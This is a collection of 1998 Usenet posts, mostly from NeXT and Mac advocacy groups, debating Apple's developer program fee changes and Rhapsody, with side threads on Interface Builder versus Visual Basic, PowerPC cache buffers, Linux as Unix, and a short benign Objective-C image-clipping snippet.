> "you got to be carefull, it is not meant to be used by normal users for
> now(...)" speech. We're a Computer Science department, we just crave for
> that stuff and we have the brain to handle it. So what are the plans for
> Rhapsody in Higher education institutions?? Anyone? I need more than
> dumb hearsays from MOSR... There was no such as a Developper rebate or any
> program available for us three weeks ago, is there now?
>
I'm not sure what I'm allowed to say here, but I've certainly seen some
public announcements by Apple (the problem being the only place I know
there's a copy is private), and have an idea from speaking with some people
on the inside that Apple is very much aware of all the points you've made
here, and will be adressing them.
cf also the following.
Best wishes,
mmalc.
Subject: Re: Apple Developer Connection Mailing
Date: Wed, 8 Apr 1998 09:37:36 -0700
From: Jordan Dea-Mattson <jordan@apple.com>
To: "Rhapsody Discussion List" <rhapsody@clio.lyris.net>
[...]
In addition, we are working to roll out programs for the academic world -
and have said so for some time. They weren't ready and this time and I
can't comment on them, except to say that we are aware of the need to
reach the academic world.
Yours,
Jordan
=====
Jordan J. Dea-Mattson
Senior Partnership & Technology Solutions Manager
Apple Developer Relations
Apple Computer, Inc.
1 Infinite Loop, MS: 303-2EV
Cupertino, CA 95014
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 01:50:58 GMT
Organization: P & L Systems
Message-ID: <6gh9i2$oop$8@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
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Cc: chuck-nospam@blacksmith.com
In <6ggsgj$fit$9@anvil.BLaCKSMITH.com> Charles Swiger wrote:
> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
> > Actually, I'm kind of sick of the whole idea of modulization.
>
> I've been trying to go to bat for you with Malcolm re: your potential
coding
> skills, and you say this? I may have to give up my optimistic
> perspective.... :-)
>
I think you owe me a bar of chocolate, Chuck! :-)
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 01:40:49 GMT
Organization: P & L Systems
Message-ID: <6gh8v1$oop$6@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: macghod@concentric.net
In <01bc4540$d4a15e60$3af0bfa8@davidsul> "macghod" wrote:
>
> > The lowest paid developer status is $500 instead of $250. If you really
> > need to get the beta OS versions, your cost went up by $250. But everyone
> > else seems to be better off.
>
> More Ragosta FUD. "Everyone else seems to be better off". Who is better
> off?
>
Apple's customers who no longer have to subsidise hobbyist developers.
Best wishes,
mmalc.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 15:09:16 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0804981509160001@dante.eng.uci.edu>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com>
In article <steve-0804981442590001@oranoco.discoverysoft.com>,
steve@discoverysoft.com (Steven Fisher) wrote:
>In article <B1511019-15903@206.165.43.154>, "Lawson English"
><english@primenet.com> wrote:
>
>>Trying to make developer *support* a profit center is an INSANE idea.
>>Hopefully, either Jobs will change this, or the more rational stockholders
>>will hear about it in time to vote against him because this one action, *BY
>>ITSELF*, will destroy Apple.
>
>That's the best summary I've seen yet. The real worry is that it will do
>so *SLOWLY*... consumers probably won't see the effects this has on the
>development community for months or a year yet. Suddenly new
>shareware/freeware will start getting a lot more scarce.
Of course the counter-argument is that Apple has never been able to really
adequately support it's developers due to the low cost of the program.
While I'm sure Adobe gets a lot of attention and I get a lot for what I
pay, what about the guys in the middle - like Rich Siegal, perhaps. Or
Aladdin Sys. The devlopers in the middle could probably handle much more
in the way of devloper support and can quite likely afford a modest
increase in costs.
The question becomes: Will Apple take the fee increase as a profit, or
reinvest it in their developer relations?
Given the fact that the Mac software community is shrinking in the
*middle*, not at the low end or high end quite so much, I think it might
be a good plan if reinvestment is the goal.
-Bob Cassidy
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 6 Apr 1998 17:29:19 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6gbl4j$a821@odie.mcleod.net>
References: <6g81tq$fhe$4@ironhorse.plsys.co.uk> <B14D4B11-8A7DC@206.165.43.14> <6g9cjm$11ve1@odie.mcleod.net>
The following code adds a method to the NSImage class that enables all
images, tiff, gif, eps, whatever to be composited clipped to the outline of
some arbitrary text in the current font. Text along a path, rotations,
different composite modes, etc are obvious and left as an exercise for the
reader.
Now, was that so hard ? A complete test application is available if enough
people ask for it.
/* NSImageTextClipping.h created by embuck on Mon 06-Apr-1998 */
#import <AppKit/AppKit.h>
@interface NSImage (TextClipping)
- (void)compositeToPoint:(NSPoint)aPoint withinTextPath:(NSString *)aString
at:(NSPoint)pointInImage operation:(NSCompositingOperation)op;
@end
/* NSImageTextClipping.m created by embuck on Mon 06-Apr-1998 */
#import "NSImageTextClipping.h"
#import "VUtilityWraps.h"
@implementation NSImage (TextClipping)
- (void)compositeToPoint:(NSPoint)aPoint withinTextPath:(NSString *)aString
at:(NSPoint)pointInImage operation:(NSCompositingOperation)op
{
PSgsave();
VClipToStringAt(aPoint.x + pointInImage.x, aPoint.y + pointInImage.y,
[aString cString]);
[self compositeToPoint:aPoint operation:op];
PSgrestore();
}
@end
/* VUtilityWraps.psw,v 1.1.1.1 1996/06/12 03:24:00 embuck Exp */
/* VUtilityWraps.psw */
defineps VClipToStringAt(float x, y; char *s)
x y moveto (s) true charpath clip
endps
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 23:37:43 GMT
Organization: NeoSoft, Inc.
Message-ID: <6gbp07$5jg$1@uuneo.neosoft.com>
References: <trev-0504982024220001@nas-sa-p5.usc.net> <B14DD7A6-66A11@206.165.43.142>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
In <B14DD7A6-66A11@206.165.43.142> "Lawson English" wrote:
> Jef Raskin, Father of the Macintosh, had an article that discussed this
> very point. His take is that taking two different GUIs targetted at two
> different audiences and trying to "merge the best of both" will likely
> produce the worst of both instead.
Hm, in the Wired "100 Ways to Save Apple" article he is quoted as
saying to throw out the Mac User Interface all together.
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com PGP key available
----------------------------------------------------------------
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 98 19:36:33 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B151824F-7635E@207.217.155.14>
References: <joe.ragosta-0804982109560001@elk62.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
Joe Ragosta wrote:
>Anyone notice that people like Mr. brown here, who would apparently never
>go near a Mac from reading his posts, are the ones complaining while
>developers like mmalc are supporting the change?
"Mr. brown" as you call him is a founding member of CE Software. You know,
QuicKeys (Eddie finalist), QuickMail, ... That would make him a real Mac
developer.
mmalc, on the other hand (and to be a little picky here), is one of our new
NeXT friends. Believe me, if I were the slightest bit worried about Apple's
direction w.r.t. the technology I totally depend on for the future of my
business, I'd be kissing every butt at every turn. Not that I'm accusing
mmalc or the rest of the NeXT contingent of doing that, I'm just saying
that's what _I_ would do that if _I_ were a Rhapsody developer today. With
a number of "legitimate" commercial developers shaking their heads about
the hardware thing and the price increase, I'd do everything to encourage
Apple management to have a positive view of what I'm doing.
Frankly, the new program lineup makes a great deal of tactical sense. Apple
Developer Relations (ADR) is playing the hand dealt to it the best possible
way it can. Hardware purchasing has been a broken system for a long time.
Any developer could give you a recent horror story. There is no longer any
need to have the latest, greatest high end Mac to write software. Hardware
costs, even post-cloning, are low enough, and channel margins low enough,
that any serious hobbyist with a dream can enter. For any Mac developer
with a clue, the Select program is really $400 (how can you write software
without CodeWarrior?) and the Premier program is closer to $2000 (WWDC and
Metrowerks rebates).
But ADR is playing in a context where cynicism is running high. "Developer
Relations" is about more than just herding the developer cattle effectively
and meeting their product/service needs. It's about creating an atmosphere
where the developers can succeed. It's about being trustworthy. It's about
being dependable. It's about working to minimize the impact on developer
partners of necessary direction changes or shifts. It's about the
Advisor/Interim CEO not badmouthing Apple technologies that developers
depend on. It's about not irritating customers. It's about the things that
only a few at the top of Apple's management have the power to set as a
priority. Delegating tactical control to a division and calling that
developer relations, no matter how competently that division makes changes
and does its jobs, rings hollow.
***
I just saw Newt Gingrich on Larry King (whether you like Newt or not, the
analogy is appropriate). Newt was talking about when Trent Lott came to him
before a State of the Union address and urged him how to sit and dress so
that he wouldn't look like a fat slob. Newt said that sometimes a friend
needs to be critical. Well, Apple management, your developers are the best
friends you have right now. The criticism comes from love: for Apple, its
products, and its historic mission. Take that for what it's worth.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 9 Apr 1998 02:55:23 GMT
Organization: University of Maryland, College Park
Message-ID: <6ghdar$jpm$1@hecate.umd.edu>
Matt Dillon (dillon@best.net) wrote:
: :David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> wrote:
: :>Salvatore Denaro (sal@panix3.panix.com) wrote:
: :>: On Mon, 06 Apr 1998 00:37:35 -0400, Arun Gupta <suvidya@worldnet.att.net> wrote:
: :...
: :>
: :>What if there is a big read/write buffer that sits in front of the cache,
: :>in such a way that writes to memory are coalesced, and reads to memory are
: :>checked in the buffer first? A lot of the memory reads/writes goes away.
: :>(Yes, there is something like that on the PPro/P II)
: Read buffers: What usually happens is that your read causes a
: cache refill and the cpu core then pulls the portion required from
: the primary cache. So if you are doing byte reads of memory, you
: only wind up doing one main memory access per 16 memory read
: instructions.
: Write buffers: There are two ways to do this. You either have a
: write queue that may or may not coalesce adjacent bytes and then
: do sub-word memory write transactions to the external bus, or you
: do a read-modify-write through the primary cache and push the
: entire word (memory-bus-width worth of data) out the chip and DON'T
: bother to do sub-word memory writes on the external interface. You
: can do write coalescencence directly on the primary cache line and race
: the transaction out to main memory.
: Another way to do it, one which motorola really likes, is to write
: to the primary cache and have a dirty bit (do not bother to immediately
: push it out to main memory). This way a write does not stall at all,
: but the methodology doesn't work well with an SMP model.
: But in all cases it is possible to saturate the interface. In the
: write-buffer case, you stall when (usually) four writes are queued
: up. In the dirty primary-cache case you can fill up the cache with
: your writes and blow away entries that you might need later on
: for efficiency.
I think that you're talking about the writes to memory, I was talking
about buffers that sit in front of the L1 cache. There can defintely
be more than 4 writes that sits around the buffer, and waits to be
written out to L1 cache. You are ofcourse correct in stating that there
can only be 4 transactions outstanding on the memory interface. Now
with regards to SMP, I'm not sure what the problem with keeping dirty
line is, as long as you have a snooping bus, which keeps track of the MESI
states, and commits the line when requested, you should be okay.
: -Matt
: --
: Matthew Dillon Engineering, BEST Internet Communications, Inc.
: <dillon@best.net>, include original article w/ any response.
: do not under any circumstances send email to joeblow@bigspender.idiom.com
: and, for gods sake, don't email bucktram@popserver.idiom.com
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 03:02:52 GMT
Message-ID: <01bc455b$1be404c0$18f0bfa8@davidsul>
References: <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <B1516A43-1BD20@207.217.155.14>
> Not in the US. That is total CYA BS. I know one US developer (not me) who
> is damned thankful he got into the program and bought the G3s he needed
> when he bought them.
Their is talk about Apple being sued. Apparently people who are in the old
$250 plan will be bumped to the $500 plan preety soon, and the $500 plan
doesnt have the hardware discount, plus possible other things.
I think it would be great if they get sued, Apple being the one whose legal
department threatens web sites like macintouch, and they do something like
this.
I also hope several developers pass this on to the media, I am sure the
media would love to flame apple for this and god knows apple deserves a
good spanking for this
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 02:56:29 GMT
Organization: Omni Development, Inc.
Message-ID: <6ghdct$3um$1@gaea.omnigroup.com>
References: <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <B1516A43-1BD20@207.217.155.14>
"Brad Hutchings" <brad@hutchings-software.com> wrote:
> >Another interesting information: the FAQ on developer.apple.com reads
> >that Apple has been limiting access to the Associate Programs in the
> >last six months... In the US only I guess
[...]
> Not in the US. That is total CYA BS. I know one US developer (not me) who
> is damned thankful he got into the program and bought the G3s he needed
> when he bought them.
I guess they were inconsistent, then - my membership expired late last
year and I got a letter from Apple saying "we're redoing our developer
program; meanwhile consider your membership extended for free until we
complete our changes."
--
andrew_abernathy@omnigroup.com - NeXTmail & MIME ok
From: ashley@cs.curtin.edu.au (Ashley Aitken)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Beware New Macs?
Date: 9 Apr 98 03:30:09 GMT
Organization: Curtin University of Technology
Message-ID: <ashley.892092609@marsh>
References: <ashley.892004435@marsh> <6gf1ap$37v$1@ha2.rdc1.sdca.home.com>
rriley@yahoo.com (Rex Riley) writes:
>If Apple is seeding a Class of hardware into it's development community,
>they do so "to their own detriment". Why would they "dump" a superceded
>architecture onto a "core" asset, Developers? Apple is shamelessly
>greasing the wheels of commerce, here! You might be reading too much into
>it...
I hope I am. It just seems that "forcing" newer developers to play their
hardware hand before April 24th when big things are going to be happening
in May seems a bit detrimental to developer relationships.
Cheers,
Ashley.
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Date: 9 Apr 1998 03:27:12 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk>
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: In <xhsof-0804981448100001@hobbit1.injep.fr> Xavier Humbert wrote:
: > If developers have to pay 500 bucks to have Rhapsody, do you think the
: > will develop for it ?
: >
: If anyone is wanting to develop for Rhapsody professionally and doesn't have
: $500, they don't have a business plan. If you're intending to write
: shareware, then $500 is a reasonable investment if you believe you have
: something useful to contribute. If you're writing Rhapsody apps for a hobby,
: why should I subsidise your playtime?
Because I might develop some useful freeware. With your attitude there'd
never be any freeware at all. Without freeware, perhaps NeXT would have
been later with NeXTSTEP (no GNU tools jumpstart) and Rhapsody today would
not exist. Not all software should be free, but some of it always should.
: In the bad old days when NeXT's developement tools alone cost seven times
: that amount there was no shortage of freeware or shareware.
Bzzzt. Wrong, but thank you for playing. If you bought NeXTSTEP as
an academic machine or later as an academic bundle CD-ROM, the development
tools were free or *very* cheap. Remember, NeXT was orignially academic
only. Lots of cool freeware came out very quickly.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 03:43:20 GMT
Organization: Digital Fix Development
Message-ID: <6ghg4o$np$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <6ggqha$9fk$1@news01.deltanet.com>
In-Reply-To: <6ggqha$9fk$1@news01.deltanet.com>
On 04/08/98, Scott Ellsworth wrote:
>In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com
(Scott Anguish) wrote:
<snip>
>>The Online program is free. It gets you the samples, and the
>>manuals. It also gets you Code Warrior Lite.
>
>And it cannot easily be used by a startup trying to put product
>together, nor can it be used by someone doing thier own private
>skunk works project. Trust me on this - I want the Mac to be a
>viable platform at QMS, which it is not. The only way I can
>demonstrate the value of the platform is to purchase appropriate
>Mac tools, build our products, and demonstrate that they are
>interesting. Having early builds makes it more likely that I
>will have a demo that means something,
>
If you're developing commercially, an investment of $42/month
isn't that out of reach.
>I know two other developers at former cross platform shops doing
>much the same. God only knows if this will work, but it is the
>case that QMS has already decided to drop Mac development,
>so they are a lost cause if I cannot change that.
>
If they're being so petty as to not be willing to pay the
$500, then they should talk to Apple. Although realistically I know
of several large commercial developers who never take advantage of
Apple's programs, and use CodeWarrior for all development.
>> From that you can learn Macintosh programming and put out
>>freeware apps.
>
>True enough. Of course, your freeware and shareware will need
>modification after the OS release happens. Further, certain
>small scale authors push an OS a hell of a lot more than many
>commercial app developers do.
>
Yes, you're freeware/shareware apps will need modification.
However, in the case of those types of apps, you don't have the
distribution costs involved in commercial products. An update is a
matter of dropping it on an FTP server or WWW site.
>> Few, if any, of the people pissing and moaning about loosing
>>access to the seeding program actually NEED access to it in many
>>cases.
>
>Of course, they changed the rules in mid year, such that anyone
>already paying for a developer subscription got substantially
>fewer benefits. (Specifically, dropping the hardware agreement
>unlaterally is far from a nice move, and changes the economic
>impact of the developer program substantially.)
Have you purchased under this program? You can get virtually
equivalent prices elsewhere.
>
>> Now, as far as Rhapsody is concerned it is leaving a gap,
but
>>only because of the time-frame.... However if you join Select you're
>>still covered.
>
>There will always be a gap. Apple is incapable of shipping something
>with decent prerelease documentation in the New Regime, I suspect.
>HFS+ might be a counterargument, but if there is no way to get a
>Rhapsody seed without a substantial cash outlay, then you have
>delayed the release of software using Rhapsody features until your
>public ship date.
... if you aren't willing to spend the $500 for the Select
program, and can't work with DR1 if you already have it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 03:45:51 GMT
Organization: Digital Fix Development
Message-ID: <6ghg9f$o3$1@news.digifix.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3>
In-Reply-To: <j-jahnke-0804982141280001@192.168.1.3>
On 04/08/98, Jerome Jahnke wrote:
<snip>
>Now this is a bunch of bull. Many of us were Associates for one
>reason and one reason only, access to cheaper equipment. Apple
>does not lose money by selling me my one machine a year at a low
>price.
Perhaps. But they do still provide you with all the other
stuff, the CD's, the mailings etc.. that does cost Apple money.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 03:46:45 GMT
Organization: Digital Fix Development
Message-ID: <6ghgb5$rn$1@news.digifix.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <01bc452e$e8a3eac0$3df0bfa8@davidsul>
In-Reply-To: <01bc452e$e8a3eac0$3df0bfa8@davidsul>
On 04/08/98, "macghod" wrote:
>> Although I disapprove of the move by Apple, I really question why a
>> HS/college student would have to join the developer programs to
write
>> software. After all, they could just download MPW or buy
CodeWarrior at a
>
>> huge discount, and learn from the vast amount of online resources
at
>> devworld.apple.com. Although I agree it might drive away small,
>> commercial developers, for the student developer, even the previous
$250
>> was too much.
>
>Really?
>How does a college student who wants to develop apps for rhapsody do
so
>without spending the $250 (now $500)?
>Thats the only way they can legitimately get rhapsody, plus other
apple
>beta softwares they may want to develop for.
>
>
Apple has already stated that there are education plans
underway, but not yet announced.
There is also the University programs that Apple already has
in place (the scholarship programs).
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: ylaporte@acm.org (Yan Laporte)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 7 Apr 1998 00:55:19 GMT
Organization: Université de Moncton
Message-ID: <ylaporte-0604982059020001@139.103.176.79>
References: <35215529.2E181E25@slip.net>
In article <35215529.2E181E25@slip.net>, Sivan Mozes <sivan@slip.net> wrote:
> I understand the interface bulider is a great idea. But doen't VB do the same
> thing on Windows?
Well... Yes and no
In VB, when you create a new form with all its different interface
elements you are in fact creating a subclass of the form... It won't tell
you but, since you have to compile it and you can create different
instances of that form refering to it as a class...
In IB, you almost never (if it ever happened) to subclass the NSApp class,
this is really important, you can add fonctions through a delegate object
but for interface elements and even the relations with them you are NOT
generating ANY code at all. That means that when you want the value from
a scroll bar to appear in a text box in VB you have to add code, it is not
the case in IB you save time writing code and you save time not compiling
anything (and it is not interpreted like in VB when you don't compile).
The object collection in VB is very poor compared to the one availlable
in OPENSTEP (including EOF) and is far less flexible. VB is nice when you
just use its basic components but when you try to increase its capacity
you encounter serious problems (I know I have done it and it was a
serious... and far less usefull than I expected at first).
There ar emany other reason for wich OPENSTEP is far superior to VB
like the fact that your app will be easily portable to many platforms,
that you can separate the "working code" from the interface easier, that
dynamic loading is easily implemented, that it will eventually cost less
(for students like me at least, you know VB is around 500$Can and you
won't even get an OS with that ;))
Well I haven't used them alot but for about an equal period of time and
I still get this HyperCard-like limited feeling in VB, wich I don't get in
IB.
In fact... the yes part is because you can use both to place menus and
standard interface elements on it... that's about it.
Yan Laporte
From: root@127.0.0.1 (Charlie Root)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 01:23:19 GMT
Organization: Center for Space Research
Message-ID: <6gbv67$frq$0@207.212.27.88>
References: <6gbe58$86b$1@news.digifix.com> <B14EA3D0-12CC78@206.165.43.126>
On 6 Apr 1998 15:18:00 -0700, Lawson English <english@primenet.com> wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>> >Now THAT certainly contributed to the conversation...
>>
>>
>> At least it was ON TARGET as far as Rhapsody was concerned.
>>
>> GX is dead.
>
>
>I refer you to Mark Twain...
Mark Twain is dead.
--
.....charlie root.....
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 00:39:09 -0400
Organization: Yale University
Message-ID: <trumbull-0904980039090001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk>
In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Apple's customers who no longer have to subsidise hobbyist developers.
Apple never "subsidized" hobbyists. You don't think Apple made money off
of every single on of them ? As someone who paid for nearly the entire IM
series, I know Apple's gotten my money. Not to mention the Macs I've
bought (not at developer discounts) which makes me an Apple customer. And
I'm sure they made a profit off every developer discounted machine. Heck,
it beats having a retailer sell someone that machine.
Apple's got bigger problems than whether they make a small or large profit
off their developers. It's like the government. As if cutting education
spending and funding to the arts could possibly make a difference in the
deficit when social security, welfare, and the miltary combind are about 3
orders of magnitude more money. Failing to attract new marketshare is
just a whee bit more problematic than the extra $250.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: cabneySPAM@SPAM.SPAMcyberpass.net (C. Abney)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 8 Apr 1998 01:16:04 GMT
Organization: Infonex Internet Services
Message-ID: <6gej4k$f5i$1@news.infonex.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net>
<ehg4da6wa.fsf_-_@gate.lustig.com>
<6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>
<6fut5f$115$1@jetsam.uits.indiana.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
In article <6fut5f$115$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) writes:
> I know, someone is bound to pipe up and say Linux isn't a Unix because it
> doesn't have the right pedigree. But it looks like a Unix, walks like a
> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
> free.
But... it's a penguin!
--
-C. Abney
From: Aaron R Kulkis <akulkis@be1151.pd3.ford.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Mon, 06 Apr 1998 11:05:42 -0400
Organization: Ford Motor Company
Message-ID: <3528EF46.5ABE@be1151.pd3.ford.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <6g0ft9$k6c$5@anvil.BLaCKSMITH.com> <Eqynrq.7GJ@rsxtech.atww.org> <jayfar-0504981957590001@downtown1-2.slip.netaxs.com>
Mime-Version: 1.0
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Jayfar wrote:
>
> In article <Eqynrq.7GJ@rsxtech.atww.org>, rshwake@rsxtech.atww.org
> (Raymond N Shwake) wrote:
>
> | Charles Swiger <chuck@blacksmith.com> writes:
> |
> | >Curtis Bass <cndbass@i2020.net> wrote:
> | >> Gregory Loren Hansen wrote:
> | >>> I know, someone is bound to pipe up and say Linux isn't a Unix because it
> | >>> doesn't have the right pedigree. But it looks like a Unix, walks like a
> | >>> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
> | >>> free.
> | >>
> | >> Well, the real reason it can't be called UNIX is simply because the Open
> | >> Group has the rights to the UNIX name, and *they* decide what is and
> | >> isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
> | >> 4.x UNIX) cannot be called "UNIX" for this reason.
> |
